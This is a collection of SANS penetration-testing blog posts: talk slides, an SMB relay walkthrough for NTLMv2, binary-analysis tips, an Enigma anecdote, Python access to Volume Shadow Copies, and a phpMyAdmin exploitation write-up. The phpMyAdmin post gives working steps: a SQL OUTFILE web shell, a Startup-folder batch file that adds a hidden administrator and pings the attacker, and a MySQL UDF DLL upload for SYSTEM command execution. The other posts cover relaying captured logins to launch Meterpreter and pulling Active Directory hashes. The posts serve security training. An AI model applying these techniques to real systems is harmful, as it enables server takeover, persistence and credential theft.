The Bad Guys Are Winning, So Now What? Slides

By Ed Skoudis

Below are the slides for my talk called “The Bad Guys Are Winning, So Now What?”  It’s my most requested talk ever.

In my job, I write two or three new presentations per year, and deliver each of them two or three times at various conferences before retiring the talk and moving onto another topic.  My butterfly attention span doesn’t let me stay on a particular topic for longer than that.  In the past year, I’ve written talks titled “Please Keep Your Brain Juice Off My Enigma” (Debuted at SANS in Sept 2012 and posted here), “Unleashing the Dogs of Cyber War” (Debuted at BruCON in Sept 2012), and “Kinetic Pwnage: Obliterating the Line Between Computers and the Physical World” (Debuted at SOURCE Boston in April 2013 a week and a half ago).

But, of all the talks I’ve ever written, there is one that I get more requests for than ever: my talk titled “The Bad Guys Are Winning, So Now What”.  I originally wrote the talk a couple of years ago, and have updated it a dozen times since then.  Maybe it is the straight-forward title, or the topic matter, or something else, but I have been invited to deliver this specific talk dozens of times in two years.  I enjoy presenting it, so I have continued to offer it where people have asked.  I’ve delivered it for commercial customers, civilian government agencies, and several military groups.  I’d like to release the final version of the slides below.  Please do check them out here: Bad Guys Are Winning 1Q13.

The first half of the talk sets up and underscores this central thesis:

A sufficiently determined, but not necessarily well funded bad guy can break into pretty much any organization.

We talk about why that is so, discussing concepts like increasing attack surface with wireless and webification, increasing assymetries, failing to learn lessons, and more.

The second half of the talk is the “So Now What?” part.  I split things into three groups: Pen Testers / Red Teamers, Enterprise Defenders, and the Military, with specific observations and recommendations for each.  My pointed conclusions are:

  • For pen testers: You should make sure your scope is a realistic view of the attack surface, and try to almost always get in.
  • For defenders: Consider re-appropriating some of your defensive resources into finding out where you’ve already gotten owned, and eradicating that.  Otherwise, you are depending on bad guys’ being nice to you.
  • For the military: Cyber space will become increasingly militarized, as we continue to deploy systems with more vulnerabilities holding highly sensitive information and controlling critical infrastructures.

It was with this talk that I first became comfortable with thinking of myself as primarily focused on offense.  Before pulling together my ideas for it, I had tried to balance my life and skills between defense and offense.  After this talk, I realized that I had nothing to fear by embracing my offensive side.  In fact, the last line I say when delivering this presentation is “So, I guess a subtitle of this talk could be How I learned to stop worrying, and love the Hack!

–Ed Skoudis.
SANS Instructor
Founder, Counter Hack

SMB Relay Demystified and NTLMv2 Pwnage with Python

By Mark Baggett

[Editor’s Note: In this _excellent_ article, Mark Baggett explains in detail how the very powerful SMBRelay attack works and offers tips for how penetration testers can operationalize around it.  And, bet yet, about 2/3rds of the way in, Mark shows how you can use a Python module to perform these attacks in an environment that uses only NTLMv2, a more secure Windows authentication mechanism.  Really good stuff!  –Ed.]

The SMB Relay attack is one of those awesome tactics that really helps penetration testers demonstrate significant risk in a target organization; it is reliable, effective, and almost always works.  Even when the organization has good patch management practices, the SMB Relay attack can still get you access to critical assets.  Most networks have several automated systems that connect to all the hosts on the network to perform various management tasks.  For example, software inventory systems, antivirus updates, nightly backups, software updates and patch management, desktop backups, event log collectors, and other processes will routinely connect to every host on the network, login with administrative credentials and perform some management function.

In some organizations, active defense systems such as Antivirus Rogue host detection will immediately attempt to login to any host that shows up on the network.  These systems will typically try long lists of administrative usernames and passwords as they try to gain access to the unknown host that has mysteriously appeared on the network.  SMB Relay attacks allow us to grab these authentication attempts and use them to access systems on the network.  In a way, SMB Relays are the network version of Pass the Hash attacks (which Ed Skoudis described briefly in the context of psexec in his Pen Tester’s Pledge article).  Let’s look at how these attacks work.

NTLM is a challenge/response protocol.  The authentication happens something like this:  First, the client attempts to login and the server responds with a challenge.  In effect the server says, “If you are who you say you are, then encrypt this thing (Challenge X) with your hash.”   Next, the client encrypts the challenge and sends back the encrypted challenge response.  The server then attempts to decrypt that encrypted challenge response with the user’s password hash.  If it decrypts to reveal the challenge that it sent, then the user is authenticated.  Here is an illustration of a challenge/response authentication.

With SMB Relay attacks, the attacker inserts himself into the middle of that exchange.     The attacker selects the target server he wants to authenticate to and then the attacker waits for someone on the network to authenticate to his machine.  This is where rogue host detection, vulnerability scanners, and administrator scripts that automatically authenticate to hosts become a penetration tester’s best friends.  When the automated process connects to the attacker, he passes the authentication attempt off to his target (another system on the network, perhaps a server).   The target generates a challenge and sends it back to the attacker.  The attacker sends the challenge back to the originating scanning system.  The scanning system encrypts the hash with the correct password hash and sends it to the attacker.  The attacker passes the correctly encrypted response back to his target and successfully authenticates.  This process is shown in the next illustration.  The BLUE arrows are the original communications and the RED arrows are slightly modified versions of those communications that the attacker is relaying to his target, so that he can gain access to it.

Although this may seem complicated, it is actually very easy to exploit. In this example, the attacker (let’s say he’s at IP address 10.10.12.10) wants to gain access to the server at the IP address 10.10.12.20 (perhaps a juicy file server). There is a nightly software inventory process on the server at 10.10.12.19 that inventories all the hosts on the network.

 Scenario

Attacker IP – 10.10.12.10
Target IP – 10.10.12.20
Nightly Inventory Scanner IP – 10.10.12.19

Metasploit has an SMB Relay Module and it works wonderfully.   The attacker at 10.10.12.10 sets up Metasploit as follows:

I’ll use a simple Windows FOR loop to simulate an administrative server scanning the network and doing inventory.  On host 10.10.12.19 I run the following command.

When the scanner (10.10.12.19) connects to 10.10.12.10 (our Metasploit listener) the authentication attempt is relayed to the target server (10.10.12.20).  The relayed authentication happens like magic and Metasploit automatically uses the authenticated SMB session to launch the meterpreter payload on the target.  Notice in the figure below that Metasploit sends an “Access Denied” back to the inventory scanner when it attempted to connect to 10.10.12.10.  However, the damage is done and we get a Meterpreter shell on the attacker’s machine running on the target (10.10.12.20).

Today, Metasploit’s SMB Relay only supports NTLMv1, so organizations can protect themselves from this attack by changing the AD policy from this setting (available in secpol.msc) …

To this…

After we make the change to NTLMv2, we try Metasploit again.

Now when we run the exploit, Metasploit gets a “Failed to authenticate” error message.  DRAT, our dastardly plan has been foiled by modern security protocols.  Metasploit has support for NTLMv2 in other exploits such as http_ntlmrelay, so I imagine this exploit will eventually support NTLMv2.

But, don’t worry.  We’ve got you covered.  Until then, it is PYTHON TO THE RESCUE!    Two weeks ago, I showed you psexec.py in my blog post about using a Python version of psexec at http://pen-testing.sans.org/blog/2013/03/27/psexec-python-rocks)  It is a Python implementation of psexec that is distributed with the IMPACKET modules.  The team writing the IMPACKET module for Python is doing some really awesome work.  First of all, the modules they have written are awesome.  Beyond that, they have created several example programs that demonstrate the power of their Python modules.  Best of all, the SMBRELAYX.PY script that comes with IMPACKET supports NTLMv2!  Sweetness, thy name is IMPACKET!

Getting the script running will take a little bit of work.  You’ll need to download the latest version of IMPACKET and fix the module paths to get it up and running.  To fix this, I put all of the examples in the same directory as the other modules and then change the import statements to reflect the correct directories.   SMBRELAYX needs an executable to run on the remote host after it authenticates.  What could be better than the meterpreter?  Let’s use msfpayload to create a Meterpreter EXE and then setup SMBRELAYX.   Smbrelayx.py requires two parameters: -h is the host you are going to attack and -e is the process to launch on the remote host.  You just provide those options and sit back and wait for that inventory scanner to connect to your system.  Below, I show msfpayload creating the Meterpreter executable, and the invocation of smbrelayx.py:

Because we are using a meterpreter reverse shell, we also have to setup Metasploit so that it is ready to receive the payload connection after it executes on the target.  That is what the multi/handler exploit is for, as shown below:

Now, I’ll simulate the scanner by attempting to connect to the C$ of our attacker’s Linux box (10.10.12.10) from the scanner server (10.10.12.19).

Instead of getting back an “Access Denied” like we did from Metasploit, we get back a “System cannot find the path specified” error.  I like this error message.  I think a system admin might question why his username and password didn’t work on a target before he would question why the path doesn’t exist.  The smbrelayx.py script’s message back to the admin seems therefore more subtle than the Metasploit message and less likely to get noticed.  Immediately we see the relay occur in the Python script.  It authenticates to 10.10.12.20 and launches the meterpreter process as a service using the username and password provided by 10.10.12.19.

The payload is delivered to the target after authenticating over NTLMv2 and meterpreter is launched on the target.  To keep our shell, we need to quickly migrate to another more stable process (to help automate that migration, we could use one of the migration scripts available for the meterpreter).

Ah, the delicious smell of a brand new meterpreter shell.  And of course, because it is a Python module, you can incorporate this script into your own automated attack tools.

Learn about GIAC’s new Python Coder certification
GPYCwww.giac.org/gpyc 

Thank you!

–Mark Baggett

 

Upcoming SANS Special Event – 2018 Holiday Hack Challenge

KringleCon

SANS Holiday Hack Challenge – KringleCon 2018

  • Free SANS Online Capture-the-Flag Challenge
  • Our annual gift to the entire Information Security Industry
  • Designed for novice to advanced InfoSec professionals
  • Fun for the whole family!!
  • Build and hone your skills in a fun and festive roleplaying like video game, by the makers of SANS NetWars
  • Learn more: www.kringlecon.com
  • Play previous versions from free 24/7/365: www.holidayhackchallenge.com

Player Feedback!

  • “On to level 4 of the #holidayhackchallenge. Thanks again @edskoudis / @SANSPenTest team.” – @mikehodges
  • “#SANSHolidayHack Confession – I have never used python or scapy before. I got started with both today because of this game! Yay!” – @tww2b
  • “Happiness is watching my 12 yo meet @edskoudis at the end of #SANSHolidayHack quest. Now the gnomes #ProudHackerPapa” – @dnlongen
kringle_02

Quick and Useful Tricks for Analyzing Binaries for Pen Testers

[Editor’s Note: In the article below, Yori Kvitchko kicks off a series of brief posts about quick and dirty but very useful techniques pen testers can apply to analyze stand-alone files (such as binaries, Flash files, etc.) that they encounter in penetration tests.  There is a treasure trove of info in most stand-alone files you’ll encounter, and the ability to quickly go through those files to pry out their secrets is hugely helpful in penetration tests.  It’s surprising how valuable these techniques really are in pen testing, given how easy they are to do.  In this article, Yori focuses on looking for communication streams.  –Ed.]

By Yori Kvitchko

There is a mentality common to many software developers that we as penetration testers should always relish and keep in mind; if some feature I need to call or use is packaged inside of a self-contained individual executable file, it is safe, trustworthy, and out of sight. As a software developer myself, I often have to catch myself on this same line of thinking. Just because it’s not easy to get to, doesn’t mean that someone won’t. Keeping this in mind, we as penetration testers shouldn’t be afraid to break down the walls of an executable or app and get at its juicy innards.

Lets face it though, to some penetration testers, reverse engineering is a dark art that just feels out of reach, a practice only for the ninja masters. It’s no simple task to move from web application analysis to following jump calls in IDA Pro. But, even before you’ve achieved ninja masterhood, there are a lot of practical things you can do to tease out important secrets and perhaps even vulnerabilities in stand-alone application binary files.

This set of blog posts is going to present a few reverse engineering techniques that I’ve found to be particularly useful over the last few years. Most importantly though, these are techniques that anyone can learn and use quickly and easily.

One of the juiciest types of applications you can encounter on a penetration test is internal tools. These tools, typically written with a “just get it working” mentality, often have shoddy security because no developer of internal tools thinks about an external threat getting access to them. We, of course, know that these tools are just a pivot away from being in our grasp. Here are some situations to be on the lookout for when you might have an opportunity to use these quick and useful binary analysis techniques:

  • Any time you’ve compromised a machine with a standalone internal application installed, often an internal tool on a client machine. Be on the lookout for anything branded with the company’s name.
  • When target system personnel ask you to test the application as part of your penetration test.
  • After getting access to an internal web server that has a Flash/Java/other client side application embedded into the hosted website.
  • Any other time that you find a binary or application that can be considered in scope. Make sure to check shared drives and ftp servers for folders named “tools” or similar.

Dealing with a binary, it is often the communication channel that the binary uses that is most vulnerable to attack. So how do we figure out who the binary, Adobe Flash file, or other standalone application is communicating with? Many developers, due to its ease of use, choose to use HTTP as a form of sending data from and to an application. Keeping this in mind, the first thing I do when I analyze an application is run strings on it looking for HTTP or HTTPS URLs.

Linux:

$ strings app.exe | grep -E -i 'https?://'

Windows (requires the Strings utility from Microsoft Sysinternals):

C:\> strings app.exe | findstr /i /r "htt[ps]*://"

Nowadays, lots of standalone applications are nothing more than fancy frontends for a regular old web application. If you determine that there’s a web server behind the application, your job just got that much easier. For some extra fanciness, take a memory dump of the running application (using a tool such as mdd or one of the other tools listed here) and run strings on that. You might find some crafted GET or POST requests with passwords or other interesting parameters.

Even if the application doesn’t use HTTP, there are plenty of easy-to-analyze-and-manipulate data formats that the application might be using to communicate over the network. Before we analyze any network protocols though, we need to capture the traffic being sent by/to the application. We’ll be focusing on Windows here since most of the juicy applications we want to analyze will be Windows client applications.

Fire up the application and find its PID. You can do this with Task Manager, Process Explorer, or the plain old command line as follows:

C:\> tasklist /FI "IMAGENAME eq app.exe"

Once we have the PID, lets say it’s 6140, we can look at which IP addresses the application is communicating with. Open up your command prompt and run netstat, displaying PIDs and re-running every 1 second.

C:\> netstat -na -o 1 | findstr "6140"

If nothing immediately appears, try interacting with the application to get it to make an outgoing connection or open a listening port. Once you have an IP address, a simple Wireshark filter finishes up the job for us, isolating just the IP address we’re interested in.

ip.host == 10.10.10.1

You can also look for DNS requests that were used to get that IP address with the following filter.

dns.resp.addr == 10.10.10.1

DNS names can sometimes offer clues as to the nature of the back-end. Don’t forget to do an Nmap version scan on the port as well.

Once you have an isolated communication channel, use Wireshark’s “Follow TCP Stream” and look for easily readable and easy-to-manipulate data formats. Some things to keep an eye out include HTTP, Base64, XML, CSV and any other plain-text protocol. The rest depends on how well you can take advantage of this new communication channel. Remember that you take advantage of proxies (like the OWASP ZAP Proxy or Burp’s proxy) for HTTP and also forge your own communication with plain old Netcat. The rest is up to your imagination and the lack of imagination on the part of the developer.

In the next episode of this series, I’ll provide additional quick and dirty tips for penetration testers in analyzing stand-alone binary files to pry out useful secrets.

–Yori Kvitchko
Counter Hack

A Most Enigmatic Adventure

Care for a little adventure story?  How about one that is rooted in the history of cryptography, involves an elaborate hack that saved millions of lives, and features a bizarre twist with brain juice at the end?  We have just the tale for you, and it’s all a true story.

Back in August 2012, Josh Wright and I (Ed Skoudis) fulfilled a dream that was two years in the making: a trip to purchase a genuine Enigma machine.  As most of our readers know, the German military used the Enigma machine during World War II to encrypt messages transmitted via telegraph.  Through amazing research and crypto-analytic breakthroughs, Polish, British, and American researchers were able to crack the Enigma machine, pioneering techniques that are still applied today in attacking cryptosystems.  According to Winston Churchill, this breakthrough shortened the war in Europe by at least two years, saving millions of lives.

Josh and I wrote the following presentation to briefly describe Enigma cryptography, discuss the historical importance of cracking it, and to share details of our adventure in obtaining a real Enigma machine.  We were originally going to title our presentation “Sk0d0 & Josh Buy an Enigma,” and present it in the style of that classic of Western Civilization, “Harold and Kumar Go To White Castle.”  But, that strange day, August 16, 2012, something happened that caused us to change the title of the talk.  Without further adieu, here is the slide deck from our talk (click on the image below to see the whole slide deck):

We put together a little movie trailer about our adventure.  Click below to view the movie trailer.

We also did a movie poster based on the original title of the planned adventure.  That poster is here:

If you’d like to see Josh and me present this talk, we did film its debut at SANS Network Security 2012 in September in Caesar’s Palace in Las Vegas.  The film quality and audio is a little rough at spots, but you can watch the whole recorded presentation by clicking on this image:

There is one final point we’d like to emphasize.  The Enigma machine for us is a symbol of something pretty big and pretty profound in our lives.  In the penetration testing business, we hack for a living.  In our classes (such as SANS SEC560 on Network Penetration Testing & Ethical Hacking and SANS SEC575 on Mobile Device Security & Ethical Hacking) and our projects such as NetWars and CyberCity, we analyze how to hack a variety of different kinds of computers, networks, and other infrastructures.  The Enigma machine represents for us a flawed technology, whose owners and operators (the Nazis) were over confident in its security.  Brilliant people worked super hard to hack that technology, and in the process helped defeat a profoundly evil regime and save millions of lives.  The Enigma is important because its unforeseen weaknesses allowed incredible people to hack it to the world a better place.  In our work as security professionals, we should strive for that goal, to have our work used to help make the world a better place.

–Ed Skoudis
SANS Fellow

Using Volume Shadow Copies from Python

[Editor’s note: Volume Shadow copies on Windows completely rock.  They give administrative tools (and penetration testers) access to all kinds of wonderful things on Windows, including recently deleted files, files with a lock on them, and much more.  They are almost like a nifty side channel into the guts of the Windows file system, making it ripe for exploration, research, and pwnage with a heavy does of plundering mixed in for good measure.  Mark Baggett has been one of the main gents (along with Tim Tomes) leading the charge in researching how pen testers can use Volume Shadow copies.  In this post, Mark shows how you can use Python to interact with Volume Shadow copies, so you can explore them in-depth.  After describing how to list, create, and access such copies from Python, he provides a nifty Python script called vssown.py that does all the work for you.  I’m hoping that the info Mark provides here inspires readers to start more aggressive analysis of Volume Shadow copies from their own interactive Python shells to reveal more cool pen test uses of Volume Shadow copies. –Ed.]

Volume Shadow copies are immensely useful to penetration testers, often containing a treasure trove of valuable information.  What if the domain administrator knows the penetration testers are coming, so he deletes “passwords.txt” from his desktop?  No problem!  The password file is sitting there waiting for you in the volume shadow copies. Files such as NTDS.DIT (the Active Directory Database) can be locked up by the operating system so you can’t safely get to them.  With Volume Shadow copies, no problemo!  You can create a new volume shadow copy and grab the file from the copy and plunder it for hashes from anyone in the domain.  If you are still not convinced, check out these posts that demonstrate the ever-loving-sweetness of Volume Shadow Copies.

http://pauldotcom.com/2012/10/volume-shadow-copies—the-los.html

http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html

http://lanmaster53.com/2013/03/taming-the-stubborn-tomcat/

The bad news is that there are not a lot of great libraries out there that use Volume Shadow copies in Python. The good news is that you can use the win32com module and the Component Object Model (COM) to interface with the WIN32_ShadowCopy service and do everything you need to do.  BUT (more bad news here) using COM within Python is a pain in the tushie.  The interface to COM objects is less than intuitive, and not easily accessible. BUT (ahhh… a lil’ more good news), I’ve done the hard part for you.  If you are creating a Python-based executable for Windows, and you need it to access Volume Shadows copies, this article will make your life a bit easier. Let’s start with the easy stuff.

To get a list of the Volume Shadow copies on the system is pretty simple.   You can take the code from vssown.vbs, lookup the corresponding python statement, and translate the code to Python.  (VSSOWN.VBS is downloaded here: http://ptscripts.googlecode.com/svn/trunk/windows/vssown.vbs).    After creating a scripting object and connecting to the server, you use ExecQuery to pull a list of all the Volume  Shadow Copies on the system.   Then you can use a for loop to step through each of the shadow copies and pull the “DeviceObject” attribute.   The DeviceObject attribute is what you will use to access the data in the Volume Shadow Copies.

Some excellent sample code with a list of all the attributes you can access is available here:  http://www.activexperts.com/admin/scripts/wmi/python/0274/

Creating a Volume Shadow Copy is more difficult.   To do so, we have to call the “Create” method of the Win32_ShadowCopy COM object and, as I mentioned, documentation on the API is somewhat lacking.  Anytime I am trying to learn something new in Python (or much of my penetration testing, for that matter), I experiment with it in a Python Shell.  The interactive shell lets you experiment with objects’ methods and attributes and see what they are used for, all in real-time, interactively.  First, we import the required module and create an object called “wmi” that points to a “Win32_ShadowCopy” COM object.  This can be done with two simple lines of code.

import win32com.client
wmi=win32com.client.GetObject("winmgmts:\\\\.\\root\\cimv2:Win32_ShadowCopy")

We want to call the “create” method for this Win32_ShadowCopy object.  To execute a module, you use wmi object’s ExecMethod() method.  For example: “wmi.ExecMethod(<method name> , <com object parameters>)”.  The first argument is a string containing the target method’s name.  The second argument is a COM object that contains the target method’s parameters.  Setting those method parameters can be a bit confusing.  Even knowing the correct parameters isn’t straight forward.

Here is how I did it.  Remember, wmi points to a Win32_ShadowCopy object.  First, I create an object called “createmethod” that points to the “Create” method on that object.  Then, I create an object called “createparams” that points to the create methods parameters.  After that, you can use the “createparams” object to examine the parameters and set their values.  Here is an example:

“CreateMethod” points to the “Create” method for the Win32_ShadowCopy object.    “CreateParams” points to the input parameters for the Create method.  Then, I use list comprehension to examine the names of each of the input parameters. The names of the parameters are stored in the .name attribute.  Here you can see that Create method requires a parameter called “Context” and one called “Volume”. “Context” is in the first position in the list, while “Volume” is in the second.  Then I use list comprehension to examine the current values for each of these parameters.  You can see that the “Context” is set to “ClientAccessible” and that the “Volume” is set to “None”.  If you examine the MSDN page for this object you will see that we have to specify a drive letter in the “Volume” parameter.  I want the volume to be set to “C:\\”.  So I set the value and check it again.

Now I can call ExecMethod() and retrieve the result.   The result will be in the “Properties_”  attribute in the form of a list of  COM Objects.    The “.value” of the first item in the list is the response code.     You can find a reference for all of the response codes here:

http://msdn.microsoft.com/en-us/library/windows/desktop/aa394428%28v=vs.85%29.aspx

If the response code is a zero, then the 2nd item in the list will contain the ID for the new Volume Shadow Copy.

So my new shadow copy ID number is 4CDDDE4F-4B00-49FE-BF07-1D89B3325ADD.   Let’s check it with VSSADMIN to see if it was really created.

To check which volume copies exist we type “vssadmin list shadows”.  At the bottom of the list we should see our new shadow copy.

It is there!  We created a Volume Shadow Copy!  Note the matching Shadow Copy ID.   Put all that together and we get the following function to create a volume shadow copy.

Now, here is the best part.  You don’t have to do ANYTHING special to access data stored in the volume shadow copies.   Dude… read that again.  That is awesome.  Thank you, Volume Shadow copies and Python!  You can read from them just like you would any other file in the file system.  NOTE:  Shadow Copies are read only and cannot be written to with any utilities.

So, if you want to see if a file exists you can do that using standard Python file-system-interaction techniques:

If you want to open a file and read the file contents, you just treat it like any other file:

As a matter of fact, the only two functions I really need to do just about anything I want with Volume Shadow copies are vss_list() and vss_create().    These functions can be easily adapted if you do need something else.

If you just want someone to write a script for you that does all this, simply ask and ye shall receive.  Well, you don’t even have to ask.  I already did it for ya.  Here you go.  Feel free to grab a copy of my vssown.py script, which does all the heavy lifting for you to list, create, and then interact with Volume Shadow copies, all within your comfy interactive Python shell or from within your own scripts.  Just download that txt file and shave off the .txt suffix.

Here is what it looks like when you run the vssown.py script.   Remember, you need admin privs to access the Volume Shadow Copy Service.

If you want to learn how to use techniques like this in your own programs, then check out my brand spanking new SANS course, SEC573 Python For Penetration Testers.   Here are some upcoming dates for the class:

http://www.sans.org/course/python-for-pen-testers

–Mark Baggett

Follow me on twitter:  @MarkBaggett

 

Putting the MY in phpMyAdmin

[Editor’s note: In this article, Tim Medin walks us through a few steps of a recent pen test he did, wherein he exploits phpMyAdmin.  The best part of this write up is that he shows the mindset of a pen tester as he methodically attacks the target system step by step.  In the process, he provides some good insight into exploiting PHP flaws via a MySQL instance running on a Windows target as well.  Nice!  –Ed.]

A wee time ago on a pen test not far, far away, I was looking for that first toehold; the first shell that split the test wide open; my entry into the target; the toe in the door; the camel’s nose in the tent; the first part of the whatever that gets into there wherever that it shouldn’t be in the first place. I kicked off an nmap sweep using the http-enum script, in hopes of finding an interesting web server with an even more interesting set of directories. Here is my command:

$ nmap -sT -T3 -PS80,443,8000,8443,8800 -p 80,443,8000,8443,8080 -oA http-enum-results --script=http-enum -iL targets.txt

This nmap command does a full connect scan (-sT) at the “normal” speed (default is -T3). Web servers commonly run on port 80, 443, 8000, 8443, and 8080 and those are the ports we will use for host discovery (-PS) and examination (-p). I much prefer the -PS option over the -PN option (skip host discovery), as it gives me better insight as to the hosts that are up, instead of cluttering the output with hosts that don’t exist and marking them with “Host is up”. I also pass the command a file holding a list of my target servers using the -iL option.  The command has been run.  It’s time to work on something else for a while…  Where did I put my banjo?

After a few minutes of other “work”, I come back to the terminal and see the command is done. Time to sort through the output…and what to my wondering eyes did appear, but this beautiful output and eight tiny reindeer (actually, no reindeer, but still)!

Nmap scan report for 172.16.105.194
Host is up (0.00083s latency).
PORT     STATE  SERVICE
80/tcp   closed http
443/tcp  closed https
8000/tcp closed http-alt
8080/tcp open   http-proxy
| http-enum:
|   /phpmyadmin/: phpMyAdmin
|   /phpMyAdmin/: phpMyAdmin
|_  /PHPMyAdmin/: phpMyAdmin
8443/tcp closed https-alt

This box is running phpMyAdmin…and lo and behold, when I surfed to its admin interface, I found out that it was using default credentials!  Santa had indeed left me a present under the tree.

It turns out the server hosts an admin interface for a particular network-monitoring product. The installer for this product installed phpMyAdmin with easy-to-guess credentials (root/root or something, I forget). None of the admins knew that phpMyAdmin was even on the box. It was yet another example of the pen tester’s best friend: the old “accidentally installed because it was bundled with something else” routine.  Time to play with this new found toy! It shows them a secret way that nobody else could find. And they say sneak! Sneak? Very nice friend, oh yes My Precious, very nice… <cough>  excuse me…

We can use phpMyAdmin to execute arbitrary SQL. I quickly try sqlmap, but it seems that sqlmap wants injection, and not full control of all the SQL, so it gets confused. I could tweak the code, but that is no fun. I like sqlmap, but it’s like a little brother. It is great to send off to do something you don’t want to do, but when you really need something intense and focused done, you are going to have to do it yourself.

The obvious next step is to upload a web shell using SQL. Remember, when you paste in the shell into SQL you need to escape the single quotes (‘) with a backslash (\’) or the SQL won’t be valid.  I injected some PHP shell code using the following syntax:

select '[escaped php shell code]' INTO OUTFILE 'c:\\inetpub\\wwwroot\\shell.php';

I prefer the Laudanum php shell as it restricts access by IP and requires authentication. The last thing we want to do during a pen test is to make the client less secure by uploading an unprotected web shell.  Always use protection.

Now, the shell is up and we have execution. I anxiously type the next command to find out my privileges. NO!  The command “c:\windows\system32\cmd.exe /c whoami” returns the lowly “nt authority\network service” account. Dang! We are stuck in this stinker of an account and the box is patched, so no luck with a privilege escalation bug.  There has to be another way.  I can write as SYSTEM (via MYSQL), but I can’t overwrite (limitation of OUTFILE). Where do we go from here?

Technique 1 – Write to User’s Start Up directory

This route is really straightforward. Create a batch file in the C:\Documents and Settings\All Users\Start Menu\Programs\Startup directory that will be executed when any *user* logs in. The command window may pop-up on the screen for a split second but the user will likely not notice it. And, even if the user notices, he or she will likely ignore it anyway, and pwnage will ensue.  Here is the command in the file:

net user timmedin reallyl0ngp@ssw0rd! /add /y
net localgroup administrators timmedin /add
ping -n 1 -w 10 [MyIPaddress]

This command creates a user and adds it to the local administrators account. Note that the hidden feature (/y) of the net user command skips the annoying prompt when choosing a password longer than 14 characters. If you don’t use this option, “net user” will wait for input. The account won’t be created and the user will see what you are doing. Of course, you could use a shorter password, but that’s lamesauce. Plus, the client’s policy requires all administrative accounts to have passwords longer than 14 characters, and I don’t want to be the weak link.

The ping command is added so that I’ll get a packet from the target server and I’ll know when this login has taken place. The -n 1 option tells ping to send a single ping packet and the -w 10 tells the command to wait for 10 milliseconds before giving up. That should be quick enough for the window to disappear.

After the admin account is created, the box is mine! BUT!  There is a LOT of waiting. Who knows when an admin might login? Fortunately for me, I told the client what I was doing and they logged in to simulate the attack.

That’s cool, but who wants to wait?

Technique 2 – Make MySQL do my bidding

Microsoft SQL Server has a lovely feature (for attackers) called xp_cmdshell. This stored procedure allows system commands to be executed via SQL. Sadly, there is no such feature in MySQL; however, we can install a UDF (User-Defined Function) to do just this. (Thanks to Nathan Keltner for reminding me of this.) The first step is to find the plugin directory, so we can plug-in, by injecting the following syntax:

select @@plugin_dir
C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin

Now, we have to upload the UDF’s dll.

This type of file isn’t just text, it is binary. Fortunately, the MySQL “CHAR()” command can be used to generate binary data. For example, the MySQL statement “SELECT CHAR(72,69,76,76,79)” will return “HELLO” (decimal 72 is ASCII H, and so on… you can look it up).  Each byte is presented to the CHAR function in its decimal form. Now, for some python fu to turn a file into decimal encoded bytes. (Thanks to Tim Tomes for this one-line pythonic masterpiece.)

$ python -c "print ','.join([str(x) for x in bytearray(open('lib_mysqludf_sys.dll').read())])"

77,90,144,0,3,0,0,0,4,0,0,0,255,255,0,0,184,0,0,0,0,0,0,0,64,0,0,0,0,0,0,0,0,...

A little copy/paste (or on OS X pipe it into pbcopy) and we have our file via OUTFILE.

SELECT CHAR(77,90,144,0,3,0,0,0,4,0,0,0,255,255,...) INTO OUTFILE
  'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\lib_mysqludf_sys.dll'
  FIELDS ESCAPED BY ''

Next, register the dll.

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set  RETURNS STRING SONAME 'lib_mysqludf_sys.dll';

And then…GO TIME!

SELECT sys_eval('dir') FROM dual
nt authority\system

Sweeeeeeeeeet!

We can do anything from here. We can upload a Meterpreter shell (via the python encoder and OUTFILE) and execute with sys_exec or sys_eval.  We can create an administrative user. We can enable terminal services and modify the firewall.  So many glorious options!  MyPreciousAdmin console is mine…all mine!

The beautiful thing is that this is not the end… shell is only the beginning…  Pivot mercilessly*.

–Tim Medin
Counter Hack
@timmedin

*Always staying in scope, and carefully following the rules of engagement.

Like this kinda stuff?  Please join me for a deep dive into hands-on penetration techniques in  SANS SEC560: Network Penetration Testing and Ethical Hacking at SANS Boston 2013! Boston, MA | Mon Aug 5 – Sat Aug 10, 2013

(BTW, anyone have a lead on any Sox tickets for Sunday?)

When Offense and Defense Become One

By Ed Skoudis

Over the past month or so, I’ve been pondering a phenomenon and some of its implications, running the idea by some of my friends to spur some interesting conversations.  I’ve spoken with penetration testers, security researchers, military planners, forensics experts, defensive operators, incident response specialists, red teamers, blue teamers, and a variety of security curmudgeons about it.  The idea is this: at sufficiently advanced technical levels, offense and defense sometimes merge and become one.  Offensive techniques can be used to achieve defensive ends; defensive means can be used to achieve offensive ends; and, sometimes, the inherent technical skills  of offense and defense are actually identical.  I don’t claim that this is a particularly new idea, but I do think that it can be fun to contemplate and is perhaps useful.  Let me tell you how I came to this observation, and then expand on some examples and implications.

While I was at the RSA Conference in February, my buddy Josh Wright contacted me and told me how many of the techniques covered in his SANS 575 course on mobile device security and ethical hacking could also be used for mobile device forensics analysis.  That is, Josh’s work on analyzing mobile device apps and images for information leakage and other vulnerabilities could likewise be applied in a forensics fashion to find evidence.  Similarly, Steve Sims, author of the SANS 660 course on advanced penetration testing, and I were chatting a couple months ago about how some of the techniques in his new advanced exploit writing course (advanced use of static and dynamic analysis of software to find flaws) are similar to those used in the SANS 610 course on reverse engineering malware.  Furthermore, Rob Lee, lead author of SANS courses on Digital Forensics (particularly SANS FOR408 and FOR508), and I had been chatting about the topic of offensive forensics over the past six months or so.  With offensive forensics, the goal is for attackers who have gained access to a target environment to locate and exfiltrate sensitive information without getting noticed.  It uses forensics techniques to find the needle in the haystack, and to steal that needle.

Also, John Strand and Paul Asadoorian have been doing some really great things with offensive countermeasures, presenting sessions and teaching classes on how defenders can set things up to really mess with attackers in their midst and artfully strike back “in degrees” as their website puts it.  John and Paul have done some great thinking along those lines, and it’s fun to chat with them about it.

These chats together got me thinking.  It’s kind of a beautiful symmetry about how offense and defense techniques and skills sometimes merge at sufficiently advanced levels.  On the surface, you may think that this is merely a restatement of the idea that “Offense must inform defense.”  But, it’s not.  It goes deeper.  While it’s true that offense must inform defense (you can’t properly defend unless you know what the attackers are doing), we’re talking about offense and defense techniques being used “contra cyclical” and in fact, becoming integrated into one.

